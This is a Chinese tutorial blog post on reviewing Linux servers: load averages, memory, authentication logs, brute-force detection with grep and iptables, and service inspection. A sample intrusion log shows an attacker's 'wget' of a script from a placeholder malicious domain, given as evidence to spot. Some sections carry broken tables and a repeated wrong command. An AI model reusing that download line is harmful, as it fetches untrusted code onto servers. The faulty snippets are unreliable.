• linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

2025-04-26 05:34:21 0 阅读

服务器审查

在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。

Linux 以其稳定性和安全性而闻名,已成为全球许多网络和服务器后端的主打产品。根据您使用的发行版,Linux 提供了多种工具和命令来执行全面的服务器审查。

# A command often used for showing memory information
free -m

# A command for showing disk usage
df -h

# A command for showing CPU load
uptime

系统管理员和 DevOps 专业人员定期进行服务器审查以确保服务器的最佳性能、安全性和可靠性是一项关键任务。

Linux 服务器审查就像给服务器做“全身体检”——检查它的健康状况、安全漏洞和性能瓶颈,确保它稳定高效地工作。以下是通俗易懂的步骤和常用命令:


一、基础检查:看“生命体征”

就像测体温、血压,先看服务器的基本状态:

  1. 内存使用(查是否“贫血”):

    free -m  # 查看内存总量、已用、空闲(单位MB)
    • 关键指标available(可用内存)是否充足。

  2. 磁盘空间(查“胃容量”):

    df -h  # 查看各磁盘分区的使用情况(单位易读:GB/MB)
    • 重点关注Use%(使用率)超过 80% 需清理。

  3. CPU 负载(查“心脏压力”):

    uptime      # 查看负载平均值(1/5/15分钟)
    top 或 htop  # 实时监控CPU占用高的进程(按q退出)
    • 负载解读:负载值 ≤ CPU核心数 为正常(如4核CPU负载≤4)。


二、安全审查:防“小偷入侵”

检查门锁(防火墙)、访客记录(日志)和可疑人员(用户账户):

  1. 用户账户检查(查“谁有钥匙”):

    sudo less /etc/passwd      # 查看所有用户
    sudo less /etc/shadow      # 查看用户密码状态(需权限)
    who                        # 查看当前登录用户
    last                       # 查看登录历史
    • 重点排查:陌生用户、空密码账户、root远程登录。

  2. 防火墙与端口(查“门窗是否关好”):

    sudo ufw status          # 查看防火墙状态(Ubuntu)
    sudo iptables -L -n -v  # 查看详细防火墙规则(通用)
    ss -tuln                # 查看所有监听端口(替代netstat)
    • 风险端口:关闭不必要的端口(如默认的22端口可改为非标准)。

  3. 日志分析(查“监控录像”):

    sudo tail -100 /var/log/auth.log  # 查看认证日志(SSH登录记录)
    sudo journalctl -u sshd          # 查看SSH服务日志(Systemd系统)
    grep "Failed" /var/log/auth.log  # 过滤登录失败的记录(防暴力破解)
    🔹 如何检测可疑攻击?
    🔸 1️⃣ 统计失败登录次数:
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | wc -l
    📌 作用:统计包含 "Failed" 的行数,即失败尝试次数。
    🔍 如果失败次数异常多(比如几百次),可能是暴力破解!
    
    🔸 2️⃣ 查看攻击来源 IP
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
    📌 作用:
    
    解析 Failed password for ... from 192.168.1.100 这类日志
    提取攻击 IP
    统计每个 IP 出现次数,按次数降序排序
    🌟 示例输出
    
    复制
    编辑
    100 203.0.113.42
    50 192.168.1.100
    🔍 如果某个 IP 失败次数异常多,说明它在恶意尝试登录!
    
    🔸 3️⃣ 阻止攻击 IP
    如果发现恶意 IP,可以用 iptables 或 fail2ban 进行封锁:
    
    sh
    复制
    编辑
    sudo iptables -A INPUT -s 203.0.113.42 -j DROP
    📌 作用:阻止 203.0.113.42 访问服务器(彻底封锁)。
    
    🔹 总结
    命令	作用
    grep "Failed" /var/log/auth.log	查找登录失败的记录
    `grep "Failed" /var/log/auth.log	wc -l`
    `grep "Failed" /var/log/auth.log	awk '{print $(NF-3)}'
    sudo iptables -A INPUT -s  -j DROP	封锁攻击 IP
    🔹 结论
    ✅ 这条 grep 命令是检测服务器是否遭遇 SSH 暴力破解 的第一步。
    ✅ 后续可以结合 fail2ban 自动封锁恶意 IP,提高服务器安全性。

三、性能调优:治“慢性病”

检查拖慢服务器的“慢性问题”:

  1. 进程与服务(查“谁在吃资源”):

    ps aux --sort=-%cpu | head  # 按CPU使用率排序进程
    systemctl list-units --type=service  # 查看所有服务
    • 优化建议:停用不必要的服务(如旧版本MySQL、多余容器)。

  2. 定时任务(查“自动任务”):

    crontab -l              # 查看当前用户的定时任务
    ls /etc/cron.*          # 查看系统级定时任务
    • 风险点:异常任务(如挖矿脚本)。

  3. 内核参数(查“身体机能”):

    sysctl -a | grep somaxconn  # 查看TCP连接队列大小(示例)
     
      
    • 常见优化:调整TCP缓冲区、文件打开数(需备份配置文件)。


四、备份与更新:打“疫苗”

确保系统安全和数据可恢复:

  1. 检查更新(打“补丁”):

    sudo apt update && sudo apt upgrade  # Debian/Ubuntu
    sudo yum update                     # CentOS/RHEL
     
      
    • 定期更新:修复安全漏洞,升级软件版本。

  2. 验证备份(查“保险柜”):

    ls -l /backup/            # 查看备份文件
    crontab -l | grep backup  # 检查备份任务是否设置
     
      
    • 关键点:备份是否完整、能否恢复。


五、自动化工具推荐

  • 安全扫描lynis audit system(开源安全审计工具)。

  • 监控告警Prometheus + Grafana(监控CPU、内存、磁盘)。

  • 日志分析ELK(Elasticsearch, Logstash, Kibana)。


举个实际例子

假设服务器变慢,按以下步骤排查:

  1. 快速诊断

    uptime; free -m; df -h; top
     
      
    • 发现磁盘满了 → 用 du -sh /* | sort -rh | head 找大文件。

  2. 检查登录记录

    uptime; free -m; df -h; top
     
      
    • 发现陌生IP → 封锁IP,加强SSH密钥登录。


通过定期“体检”,你的服务器会变得更健康、更安全!🚀

正常运行时间负载

在管理 Linux 服务器时,一个值得密切关注的关键指标是“正常运行时间”。Linux 中的命令提供有关系统在不关闭或重新启动的情况下运行了多长时间的信息,以及系统负载平均值。uptime

系统负载平均值是一个重要的指标,它说明了计算机系统执行的计算工作量。它反映了有多少进程正在排队等待获取 CPU 时间。系统负载平均值通常显示 1 分钟、5 分钟和 15 分钟的持续时间。

通过持续分析 Linux 服务器上的正常运行时间和负载,管理员可以识别系统使用模式、诊断可能的性能问题并确定有效的容量规划策略。如果服务器的平均负载较高,则可能表明系统资源不足或配置错误,从而导致性能降低或系统无响应。

以下是该命令及其输出的示例:uptime

$ uptime
 10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05

在上面的输出中,“2 days, 20 min” 告诉我们系统运行了多长时间,而 “0.00, 0.01, 0.05” 分别显示了系统在过去 1 分钟、5 分钟和 15 分钟内的平均负载。

uptime 是 Linux 中一个快速查看服务器健康状态的命令,它能告诉你两件关键事:服务器运行了多久当前系统的“忙碌程度”。就像汽车的仪表盘,一眼就能看出是否需要“检修”!


命令输出示例

$ uptime
 10:58:35 up 2天, 20分钟,  1用户,  平均负载: 0.00, 0.01, 0.05
 

翻译成大白话

  • 10:58:35:现在是上午10点58分35秒(系统时间)。

  • up 2天, 20分钟:服务器已经连续运行了2天零20分钟没重启。

  • 1用户:当前有1个用户登录(比如通过SSH)。

  • 平均负载: 0.00, 0.01, 0.05:过去1分钟、5分钟、15分钟的“负载指数”。


“平均负载”通俗解释

你可以把负载(Load Average)想象成超市收银台的排队情况

  • 负载值 = 正在结账的顾客 + 排队等待的顾客

  • 假设服务器是4个收银台(4核CPU)

    • 负载 ≤4:顾客来了能立刻结账,无需排队(健康)。

    • 负载 >4:开始排队,数值越大队伍越长(可能卡顿)。

  • 三个数值的意义

    • 0.00(1分钟负载):刚刚的排队情况(最敏感,可能突发高峰)。

    • 0.01(5分钟负载):短期的平均排队情况。

    • 0.05(15分钟负载):长期的趋势(更稳定)。


如何判断负载是否过高?

  • 单核CPU:负载超过1.0 表示过载。

  • 4核CPU:负载超过4.0 表示满负荷。

  • 举例

    • 负载: 3.50, 2.10, 0.80(4核CPU):

      • 最近1分钟负载3.5 → 当前较忙,但未超4核能力。

      • 过去15分钟负载0.8 → 长期较空闲。


负载高的常见原因

  1. CPU密集型任务:代码死循环、大量计算。

  2. 磁盘I/O过高:频繁读写大文件、数据库查询慢。

  3. 内存不足:频繁交换内存到磁盘(SWAP)。

  4. 大量网络请求:DDoS攻击、高并发访问。


下一步操作建议

  1. 快速定位问题

    top                # 查看实时进程(按P按CPU排序,按M按内存排序)
    htop               # 更友好的交互式监控工具(需安装)
    iostat -x 1        # 查看磁盘IO情况(%util接近100%表示磁盘满负荷)
     


    (htop界面示例:红框标出高负载进程)

  2. 针对性解决

    • CPU高:结束异常进程(kill 进程ID)、优化代码逻辑。

    • 磁盘IO高:减少日志输出、升级SSD、检查数据库索引。

    • 内存不足:关闭不需要的服务、增加物理内存、优化程序内存泄漏。


实际案例

场景:负载突然飙升至 8.00(4核CPU服务器)。
排查

  1. 用 top 发现一个 python 进程占用 200% CPU(表示占满2个核)。

  2. 检查发现是爬虫程序死循环 → 优化代码或限制资源。

  3. 负载降至 2.00,恢复健康。


通过 uptime 快速判断服务器压力,结合其他工具定位问题,就像医生用体温计+听诊器快速诊断病情一样高效! 🚑

身份验证日志

在处理 Linux 服务器及其维护时,需要定期审查的最关键组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log(对于基于 Debian 的发行版)或 /var/log/secure(对于 Red Hat 和 CentOS)中,记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。

身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试和任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。

以下是如何使用命令查看身份验证日志的最后几个条目的示例:tail

tail /var/log/auth.log

熟悉阅读和理解身份验证日志,因为这是确保服务器安全的重要方法。

Linux 身份验证日志就像服务器的“安全监控录像”,详细记录了谁在什么时候、以什么方式登录过系统,以及做了哪些需要权限的操作。它是排查黑客入侵、追踪异常行为的“破案神器”!以下是通俗解读:


一、日志文件在哪?

  • Debian/Ubuntu/var/log/auth.log

  • RedHat/CentOS/var/log/secure

  • 查看最新日志(实时监控):

    sudo tail -f /var/log/auth.log  # 实时滚动显示最新日志(按Ctrl+C退出)
     

二、日志里记录了什么?

1️⃣ SSH 登录记录
  • 登录成功

    May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
     
      
    • 关键信息:用户 root 从 IP 192.168.1.100 通过密码登录成功。

  • 登录失败

    May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
     
      
    • 危险信号:非法用户 hacker 从 203.0.113.5 尝试密码登录失败!


2️⃣ sudo 命令记录
  • 用户提权操作

    May 25 15:00:00 server sudo:   alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
     
      
    • 解读:用户 alice 用 sudo 以 root 身份执行了 apt update


3️⃣ 用户账户变更
  • 创建/删除用户

    May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001
    May 25 16:05:00 server userdel[3456]: delete user 'test'
     
      
    • 监控重点:非管理员创建的未知用户可能是后门账户!


三、如何快速分析日志?

1️⃣ 找“暴力破解”攻击
  • 统计某个 IP 的失败登录次数:

    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
    # 输出示例:
    # 100 203.0.113.5
    # 2   192.168.1.100
     
      
    • 结果解读:IP 203.0.113.5 尝试了 100 次密码,极可能是攻击者!

2️⃣ 检查可疑的 sudo 操作
  • 查看所有 sudo 提权记录:

    grep "sudo:" /var/log/auth.log
     
3️⃣ 追踪用户登录历史
  • 查看所有成功登录记录:

    grep "Accepted" /var/log/auth.log
     

四、安全加固建议

  1. 封禁暴力IP

    sudo fail2ban-client status sshd  # 查看被禁IP(需安装fail2ban)
    sudo iptables -A INPUT -s 203.0.113.5 -j DROP  # 手动封禁IP
     
  2. 禁用密码登录,改用SSH密钥

    # 修改SSH配置 /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
     
  3. 设置日志监控告警(如用 logwatch 或 ELK 堆栈)。


实际案例:发现入侵痕迹

日志片段

May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo:   root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://恶意网站.com/x.sh
 

分析

  1. 攻击者从 203.0.113.5 暴力破解了 root 密码。

  2. 登录后下载了可疑脚本 x.sh(可能是木马)。
    应对:立即封锁IP,检查系统后门,重置root密码!


通过定期“翻看”这些日志,你就像服务器的保安队长,能第一时间揪出可疑分子!🔍

正在运行的服务

Linux 服务器因其稳定性和灵活性而广受欢迎,这些因素使它们成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务范围从 Web 服务到数据库服务、DNS 服务器、邮件服务器等。

作为 Linux 系统管理员,定期查看这些正在运行的服务以管理资源、检查其状态和解决问题,从而确保服务器的运行状况和性能非常重要。

Linux 有多种工具可以实现此目的,例如:、、 和 。systemctlservicenetstatsslsof

例如,该命令在 Linux 系统上广泛使用,用于列出所有正在运行的服务:systemctl

systemctl --type=service 

此命令将显示所有活动服务的列表及其当前状态。它是服务器管理的必需品,应该成为任何 Linux 系统管理员工具箱的一部分。

在 Linux 服务器中,**“正在运行的服务”**就像一台多功能机器上的各种“工作模块”——比如负责网站服务的“模块”、管理数据库的“模块”、处理邮件的“模块”等。作为管理员,你需要知道哪些模块正在运行、是否健康,以及它们占用了多少资源。以下是通俗易懂的检查方法:


一、查看服务列表:用“服务遥控器”

1. systemctl 命令(主流工具,适用于大多数新系统)
  • 列出所有正在运行的服务

    systemctl list-units --type=service --state=running
     

    输出示例

    UNIT                LOAD   ACTIVE SUB     DESCRIPTION
    nginx.service       loaded active running Nginx Web Server
    mysql.service       loaded active running MySQL Database
    ssh.service         loaded active running OpenSSH Server
     
      
    • 关键信息ACTIVE 显示服务状态(active 表示正常运行)。

  • 检查某个服务的详细状态(如Nginx):

    systemctl status nginx
     

    输出示例

    ● nginx.service - Nginx Web Server
       Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
       Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days ago
       Main PID: 1234 (nginx)
       CGroup: /system.slice/nginx.service
               ├─1234 nginx: master process /usr/sbin/nginx
               └─1235 nginx: worker process
     
      
    • 关注点Active(运行状态)、Main PID(进程ID)、日志片段。


2. service 命令(旧系统兼容工具,操作更简单)
  • 列出所有服务(仅显示部分):

    service --status-all
     

    输出示例

    [ + ]  nginx
    [ - ]  mysql
    [ ? ]  docker
     
      
    • 符号解读+ 表示运行中,- 表示已停止,? 表示状态未知。


二、检查网络服务:用“网络监控器”

1. ss 或 netstat 命令(查看服务监听的端口)
  • 列出所有监听端口的服务

    ss -tulnp  # 推荐使用(更高效)
    # 或
    netstat -tulnp  # 传统命令(逐渐被ss取代)
     

    输出示例

    Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
    tcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:(("nginx",pid=1234,fd=6))
    tcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:(("mysqld",pid=5678,fd=10))
     
      
    • 关键信息

      • 0.0.0.0:80 → Nginx 在 80 端口监听(提供 Web 服务)。

      • 127.0.0.1:3306 → MySQL 只允许本机访问数据库(更安全)。


2. lsof 命令(查看服务打开的文件/端口)
  • 查看某个服务(如Nginx)使用的资源

    sudo lsof -p $(pgrep nginx)  # 需安装 lsof
    
     

    输出示例

    COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    nginx   1234   root  cwd    DIR  253,1     4096    2 /
    nginx   1234   root  txt    REG  253,1  1160328 1234 /usr/sbin/nginx
    nginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)
     
      
    • 解读:可以看到 Nginx 的进程打开了哪些文件、监听了哪些端口。


三、管理服务的常用操作

1. 启动/停止/重启服务

sudo systemctl start nginx    # 启动
sudo systemctl stop nginx     # 停止
sudo systemctl restart nginx # 重启
 
2. 禁止服务开机自启

sudo systemctl disable nginx
3. 检查服务是否开机自启

systemctl is-enabled nginx
 

四、实际场景案例

问题:发现服务器 8080 端口被未知服务占用,如何排查?
  1. 查看监听 8080 端口的服务

    ss -tulnp | grep ':8080'
    # 输出:users:(("mystery",pid=9999,fd=3))
     
  2. 根据 PID 查找服务名

    ps -p 9999 -o comm=
    # 输出:mystery-service
     
  3. 停止并禁用该服务

    sudo systemctl stop mystery-service
    sudo systemctl disable mystery-service
     

五、总结

  • 定期检查服务:关闭不必要的服务,节省资源、提升安全。

  • 重点关注

    • 陌生服务(可能是恶意软件)。

    • 监听在公网 IP 的服务(如 0.0.0.0:3306 可能暴露数据库)。

  • 工具选择

    • 快速概览用 systemctl,网络分析用 ss,深度排查用 lsof

掌握这些命令,你就能像“服务器医生”一样,随时诊断服务的健康状态! 🩺

评估可用内存

在 Linux 环境中运行多个应用程序时,持续跟踪系统运行状况对于平稳运行至关重要。在服务器检查过程中评估可用内存是系统管理员的常见做法。这涉及使用 Linux 提供的各种命令行工具,例如 、 和 。这些可以帮助监控内存使用情况和性能指标,确保系统不会过载,并为重要应用程序提供足够的资源。freevmstattop

例如,该命令给出了总体内存使用情况的摘要,包括总已用内存和可用内存、交换内存和缓冲区/缓存内存。下面是一个示例:free

$ free -h
              total        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi

在此输出中,'-h' 选项用于以人类可读的格式显示结果。了解 Linux 服务器中的内存使用状态有助于保持最佳服务器性能并解决任何潜在问题

free 是 Linux 中一个查看内存使用情况的命令,可以简单理解为“内存体检报告”。它能告诉你:
内存还剩多少?被谁用了?是否快用光了?
就像手机里的“存储空间”功能,帮你判断是否需要清理垃圾或升级硬件!


用 free -h 看内存(人类友好模式)

$ free -h
              total        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi
 
通俗解释各部分含义
  1. Mem(物理内存)

    • total(总内存):15Gi → 服务器装了 15G 内存条

    • used(已用):10Gi → 被程序直接吃掉的内存(如运行中的网站、数据库)。

    • free(空闲):256Mi → 完全没被使用的内存(看着少,但别慌!)。

    • buff/cache(缓存):5.3Gi → 系统借来当临时仓库的内存(存磁盘读写数据,不够时可快速释放)。

    • available(实际可用):4.2Gi → 真正还能用的内存 ≈ free + buff/cache 可释放部分。

  2. Swap(交换内存)

    • total:8Gi → 硬盘上划出的虚拟内存(速度慢,应急用)。

    • used:1.3Gi → 正在使用的虚拟内存(如果这个值持续很高,说明物理内存不足了!)。


如何判断内存是否够用?

  1. 重点看 available 列

    • 4.2Gi 表示当前还能支撑新程序运行的内存。

    • 如果 available 接近 0,说明内存快耗尽了,服务器可能会卡顿甚至崩溃!

  2. Swap 使用情况

    • 少量使用 Swap(如 10% 以内)是正常的。

    • Swap 使用量持续增长 → 物理内存不足,需优化程序或加内存条!


下一步操作建议

作用

📌 示例输出(部分字段解释)

 

plaintext

复制编辑

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld

字段含义
USER进程所属用户
PID进程 ID
%CPUCPU 占用率
%MEM内存占用率
VSZ进程占用的虚拟内存(KB)
RSS进程占用的物理内存(KB)
TTY终端设备
STAT进程状态
START进程启动时间
TIME进程累计 CPU 使用时间
COMMAND进程的命令

🔹 2️⃣ --sort=-%mem —— 按内存使用率降序排序

 

sh

复制编辑

--sort=-%mem

  1. 释放缓存(临时救急):

    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches  # 清理缓存(不影响程序运行)
    📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 详解
    该命令用于清理 Linux 系统的缓存,但不会影响正在运行的程序。
    
    🔹 1️⃣ sync —— 确保数据写入磁盘
    ✅ 作用:sync 命令会强制将所有待写入磁盘的数据(缓存中的数据)真正写入磁盘,确保数据不会因为清理缓存而丢失。
    
    🔹 2️⃣ echo 3 —— 生成缓存清理指令
    ✅ 作用:echo 命令用于输出 3,这里 3 是一个指令参数,用于通知 Linux 清除所有类型的缓存。
    
    数值	作用
    1	只清除 页缓存(Page Cache)
    2	只清除 目录项和 inode 缓存
    3	清除所有缓存(推荐使用)
    
    🔹 3️⃣ |(管道)—— 连接 echo 和 tee
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    echo 3 生成指令
    | 管道符:将 echo 3 的输出传递给 tee 命令
    
    🔹 4️⃣ sudo tee /proc/sys/vm/drop_caches —— 执行缓存清理
    sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    sudo —— 以 超级用户权限 执行(普通用户无权修改 /proc/sys/vm/drop_caches)。
    tee —— 既输出内容到终端,也写入文件:
    /proc/sys/vm/drop_caches 是 Linux 内核参数文件,写入 3 之后,系统会执行缓存清理。
    tee 作用类似于 >,但可以同时显示和写入文件,> 直接写入而不显示。
    
    🔹 5️⃣ sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 总结
    ✅ 完整流程:
    sync 确保所有数据写入磁盘,防止未保存数据丢失。
    echo 3 生成清理指令。
    | 把指令传递给 tee。
    sudo tee /proc/sys/vm/drop_caches 清理所有缓存。
    
    🔹 6️⃣ 注意事项
    📌 不会影响正在运行的程序:
    该命令仅清理缓存,不会影响应用程序的正常运行。
    清理缓存后,系统可能会变慢,因为需要重新加载数据到缓存。
    
    📌 适用于哪些场景?
    释放内存:如果 Linux 系统长时间运行,占用大量缓存,可以手动释放缓存。
    测试性能:在进行性能测试时,希望得到不受缓存影响的结果。
    查看真实的可用内存:缓存占用内存时,可释放后查看真实的空闲内存。
    
    🔹 7️⃣ 扩展:如何验证缓存清理?
    📌 清理缓存前后,查看内存占用
    free -h    # 查看内存使用情况
    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
    free -h    # 再次查看变化
    🔹 清理前:cached 部分较高
    🔹 清理后:cached 变少,free 变多 ✅
    
    🔹 8️⃣ 更安全的写法
    为了防止错误,可以使用更安全的方法:
    sudo sh -c "echo 3 > /proc/sys/vm/drop_caches"
    ✅ 区别:
    
    sudo 只影响 sh -c 里的 echo,避免 tee 额外权限问题。
    🔹 9️⃣ 总结
    命令部分	作用
    sync	将缓存数据写入磁盘,防止数据丢失
    echo 3	生成清理指令(3 代表清理所有缓存)
    `	`
    sudo tee /proc/sys/vm/drop_caches	执行缓存清理,释放内存
    💡 这个命令适用于手动释放缓存,特别是在长时间运行的 Linux 服务器上。 

  2. 揪出“内存大户”

    top               # 按 M 按内存排序(找占用高的进程)
    htop              # 更友好的界面(需安装)
    ps aux --sort=-%mem | head  # 列出前10内存消耗进程
ps (Process Status,进程状态) 是 Linux 用于查看进程信息的命令。
aux 选项组合:
a (All Users) → 显示所有用户的进程(不仅限于当前用户)。
u (User Format) → 以用户友好的格式显示,包括 CPU、内存、进程名等信息。
x (Including Daemons) → 显示无终端控制的进程(如后台服务)。
--sort=-%mem:按 %MEM 字段(内存占用)降序排序(从高到低)。
- 号表示降序(不加 - 号则是升序)。
长期优化:

关闭不需要的服务(如多余容器、测试环境)。

优化程序内存泄漏(如 Java 的堆内存设置)。

升级物理内存(简单粗暴但有效)。

场景available 只剩 500MB,Swap 用了 6Gi。
分析

  • 物理内存严重不足,系统频繁使用 Swap(速度慢,性能差)。
    解决

  1. 用 top 发现一个 java 进程占用了 8Gi 内存。

  2. 联系开发团队优化代码或调整 JVM 内存参数。

  3. 临时重启该服务释放内存,长期计划加内存条。


通过 free -h,你就像给服务器做了个“血常规”,一眼看出内存健康状态! 🩺

本文地址:https://www.vps345.com/1501.html

搜索文章

Tags

PV计算 带宽计算 流量带宽 服务器带宽 上行带宽 上行速率 什么是上行带宽? CC攻击 攻击怎么办 流量攻击 DDOS攻击 服务器被攻击怎么办 源IP 服务器 linux 运维 游戏 云计算 ssh 进程 操作系统 进程控制 Ubuntu deepseek Ollama 模型联网 API CherryStudio javascript 前端 chrome edge 数据库 centos oracle 关系型 安全 分布式 python MCP llama 算法 opencv 自然语言处理 神经网络 语言模型 react.js 前端面试题 node.js 持续部署 Dell R750XS 科技 ai java 人工智能 个人开发 笔记 C ubuntu 环境变量 进程地址空间 numpy rust http 网络 开发语言 adb nginx 监控 自动化运维 阿里云 网络安全 网络协议 django fastapi flask web3.py harmonyos 华为 typescript 计算机网络 macos golang 后端 IIS .net core Hosting Bundle .NET Framework vs2022 udp unity 经验分享 ollama llm php android pycharm 串口服务器 c++ c语言 zotero WebDAV 同步失败 代理模式 vue.js audio vue音乐播放器 vue播放音频文件 Audio音频播放器自定义样式 播放暂停进度条音量调节快进快退 自定义audio覆盖默认样式 YOLO 深度学习 pytorch sql KingBase mcp mcp-proxy mcp-inspector fastapi-mcp agent sse 银河麒麟 kylin v10 麒麟 v10 spring boot websocket tomcat ESP32 LDAP ide nuxt3 vue3 docker 实时音视频 filezilla 无法连接服务器 连接被服务器拒绝 vsftpd 331/530 自动化 蓝耘科技 元生代平台工作流 ComfyUI 统信 国产操作系统 虚拟机安装 .net gitlab 面试 性能优化 jdk intellij-idea 架构 多线程服务器 Linux网络编程 conda pillow spring json html5 firefox kubernetes 容器 学习方法 程序人生 windows 搜索引擎 DeepSeek-R1 API接口 github 创意 社区 Flask FastAPI Waitress Gunicorn uWSGI Uvicorn RTSP xop RTP RTSPServer 推流 视频 kvm 无桌面 命令行 flutter Hyper-V WinRM TrustedHosts matlab YOLOv8 NPU Atlas800 A300I pro asi_bench tcp/ip Deepseek ecm bpm Linux PID web安全 安全架构 mysql 游戏服务器 Minecraft 电脑 vscode 编辑器 redis 课程设计 大数据 cursor MCP server C/S LLM windows日志 c# agi AIGC 计算机视觉 ansible playbook gpu算力 excel H3C 命名管道 客户端与服务端通信 报错 媒体 服务器无法访问 ip地址无法访问 无法访问宝塔面板 宝塔面板打不开 uni-app es jvm 目标检测 华为云 物联网 JAVA Java spring cloud springsecurity6 oauth2 授权服务器 前后端分离 硬件架构 系统架构 jar arm html FunASR ASR 佛山戴尔服务器维修 佛山三水服务器维修 android studio 交互 go file server http server web server ssl https 集成学习 集成测试 openEuler AI编程 远程连接 rdp 实验 av1 电视盒子 机顶盒ROM 魔百盒刷机 远程工作 负载均衡 消息队列 3d 数学建模 网络结构图 chatgpt Docker Hub docker pull 镜像源 daemon.json Linux 代码调试 ipdb eureka 云原生 UOS 统信操作系统 yum oceanbase rc.local 开机自启 systemd 麒麟 kylin 深度优先 图论 并集查找 换根法 树上倍增 向日葵 ddos shell AI MNN DeepSeek Qwen 机器学习 备份SQL Server数据库 数据库备份 傲梅企业备份网络版 大模型 llama3 Chatglm 开源大模型 远程桌面 gaussdb ruoyi DeepSeek行业应用 Heroku 网站部署 xss mongodb pppoe radius 其他 hugo microsoft arm开发 Cursor java-ee 机器人 kind react next.js 部署 部署next.js AI agent pygame 小游戏 五子棋 googlecloud X11 Xming bash 小程序 IDEA 开源 stm32 qt EMQX MQTT 通信协议 运维开发 弹性计算 虚拟化 KVM 计算虚拟化 弹性裸金属 idm 漏洞 学习 jenkins gitee 僵尸进程 宝塔面板 同步 备份 建站 安全威胁分析 ollama下载加速 vscode 1.86 SSH 豆瓣 追剧助手 迅雷 nas 微信 内存 unity3d 安装教程 GPU环境配置 Ubuntu22 CUDA PyTorch Anaconda安装 aws 缓存 服务器繁忙 备选 网站 api 调用 示例 银河麒麟桌面操作系统 Kylin OS 国产化 Dify postman mock mock server 模拟服务器 mock服务器 Postman内置变量 Postman随机数据 flash-attention prometheus 监控k8s集群 集群内prometheus git elasticsearch IIS服务器 IIS性能 日志监控 maven intellij idea 腾讯云 mosquitto 智能路由器 外网访问 内网穿透 端口映射 r语言 数据挖掘 数据可视化 数据分析 word图片自动上传 word一键转存 复制word图片 复制word图文 复制word公式 粘贴word图文 粘贴word公式 华为od sqlite dubbo TCP服务器 qt项目 qt项目实战 qt教程 openssl 密码学 模拟退火算法 国标28181 视频监控 监控接入 语音广播 流程 SIP SDP minio Reactor 设计模式 C++ 根服务器 kafka hibernate ukui 麒麟kylinos openeuler 微服务 游戏程序 ffmpeg 音视频 AI大模型 大模型入门 大模型教程 webrtc sqlserver 嵌入式硬件 单片机 温湿度数据上传到服务器 Arduino HTTP springboot Nuxt.js apache 孤岛惊魂4 恒源云 tcp big data express okhttp CORS 跨域 雨云 NPS 爬虫 数据集 ios 博客 oneapi open webui Headless Linux 远程登录 telnet pdf asp.net大文件上传 asp.net大文件上传下载 asp.net大文件上传源码 ASP.NET断点续传 asp.net上传文件夹 asp.net上传大文件 .net core断点续传 华为认证 网络工程师 交换机 k8s zookeeper debian live555 rtsp rtp visualstudio GaN HEMT 氮化镓 单粒子烧毁 辐射损伤 辐照效应 驱动开发 硬件工程 嵌入式实习 医疗APP开发 app开发 Samba SWAT 配置文件 服务管理 网络共享 WSL win11 无法解析服务器的名称或地址 v10 软件 armbian u-boot Cline ecmascript nextjs reactjs URL Agent ftp HTML audio 控件组件 vue3 audio音乐播放器 Audio标签自定义样式默认 vue3播放音频文件音效音乐 自定义audio播放器样式 播放暂停调整声音大小下载文件 MI300x openwrt ux 多线程 virtualenv LLM Web APP Streamlit hadoop opensearch helm ssrf 失效的访问控制 string模拟实现 深拷贝 浅拷贝 经典的string类问题 三个swap 开发环境 SSL证书 Python 网络编程 聊天服务器 套接字 TCP 客户端 Socket svn xrdp 源码剖析 rtsp实现步骤 流媒体开发 fpga开发 Docker Compose docker compose docker-compose odoo 服务器动作 Server action 能力提升 面试宝典 技术 IT信息化 